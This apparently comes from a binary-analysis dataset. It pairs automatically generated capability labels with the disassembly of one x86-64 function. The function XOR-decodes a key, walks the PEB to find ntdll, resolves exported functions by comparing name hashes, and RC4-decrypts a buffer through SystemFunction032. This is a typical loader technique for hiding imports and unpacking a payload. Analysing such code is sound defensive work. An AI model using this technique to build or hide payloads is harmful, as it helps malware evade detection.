Function at 0x140001500
Capabilities:
Access peb ldr_data
Encode data using xor
Encrypt data using rc4 via systemfunction032
Get ntdll base address
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rdi
sub rsp, 0x260
xor ebp, ebp
mov r11, rcx
movzx ecx, byte [rcx]
xorps xmm0, xmm0
mov qword [rsp + 0x51], rbp
mov rbx, rdx
mov r10d, ebp
movdqu xmmword [rsp + 0x41], xmm0
cmp cl, 0x9f
je 0x14000154f
nop dword [rax]
nop word [rax + rax]
inc r10d
mov eax, ecx
xor eax, r10d
cmp eax, 0x9f
jne 0x140001540
lea rax, [rsp + 0x40]
mov ecx, ebp
sub r11, rax
lea rdx, [rsp + 0x40]
nop
movzx eax, r10b
xor al, byte [r11 + rdx]
lea rdx, [rdx + 1]
sub al, cl
inc ecx
mov byte [rdx - 1], al
cmp ecx, 0x19
jl 0x140001560
mov dword [rsp + 0x20], r8d
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x24], r8d
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x30], r9d
mov dword [rsp + 0x34], r9d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdi, qword [rcx + 0x20]
test rdi, rdi
je 0x14000174d
mov qword [rsp + 0x270], rsi
mov qword [rsp + 0x278], r14
mov r14d, 0x104
nop dword [rax + rax]
movzx eax, word [rdi + 0x48]
test ax, ax
je 0x14000173d
cmp ax, r14w
jae 0x14000173d
mov rax, qword [rdi + 0x50]
mov ebx, ebp
cmp word [rax], bx
je 0x14000161f
mov rsi, rbp
mov rcx, rbp
nop dword [rax + rax]
movzx ecx, byte [rcx + rax]
call fcn.140002100
inc ebx
mov byte [rsp + rsi + 0x60], al
mov rax, qword [rdi + 0x50]
mov esi, ebx
lea rcx, [rbx + rbx]
cmp word [rcx + rax], bp
jne 0x140001600
mov eax, ebx
lea rcx, [rsp + 0x60]
mov byte [rsp + rax + 0x60], bpl
call fcn.140001450
cmp eax, 0x8c90ae2b
je 0x140001644
mov rdi, qword [rdi]
test rdi, rdi
jne 0x1400015d0
jmp 0x14000173d
mov rdi, qword [rdi + 0x20]
test rdi, rdi
je 0x14000173d
mov eax, 0x5a4d
cmp word [rdi], ax
jne 0x14000173d
movsxd rax, dword [rdi + 0x3c]
add rax, rdi
cmp dword [rax], 0x4550
jne 0x14000173d
movups xmm0, xmmword [rax + 0x18]
lea rcx, [rsp + 0x170]
mov ebx, ebp
movups xmm1, xmmword [rax + 0x28]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rax + 0x38]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x48]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x68]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x78]
movups xmmword [rcx + 0x50], xmm1
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax + 0x88]
sub rax, 0xffffffffffffff68
movups xmmword [rcx - 0x10], xmm0
movups xmm1, xmmword [rax]
movups xmm0, xmmword [rax + 0x10]
movups xmmword [rcx], xmm1
movups xmm1, xmmword [rax + 0x20]
movups xmmword [rcx + 0x10], xmm0
movups xmm0, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm1
movups xmm1, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm0
movups xmm0, xmmword [rax + 0x50]
movups xmmword [rcx + 0x40], xmm1
movups xmm1, xmmword [rax + 0x60]
movups xmmword [rcx + 0x50], xmm0
movups xmmword [rcx + 0x60], xmm1
mov esi, dword [rsp + 0x1e0]
mov r14d, dword [rsi + rdi + 0x20]
add r14, rdi
cmp dword [rsi + rdi + 0x14], ebx
jbe 0x14000173d
nop word [rax + rax]
mov eax, ebx
mov ecx, dword [r14 + rax*4]
add rcx, rdi
call fcn.140001450
cmp eax, 0x2b93e5ea
je 0x14000173d
inc ebx
cmp ebx, dword [rsi + rdi + 0x14]
jb 0x140001720
mov rsi, qword [rsp + 0x270]
mov r14, qword [rsp + 0x278]
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x30]
call sub.ADVAPI32.dll_SystemFunction032
test eax, eax
lea r11, [rsp + 0x260]
mov rbx, qword [r11 + 0x20]
sete bpl
mov eax, ebp
mov rbp, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret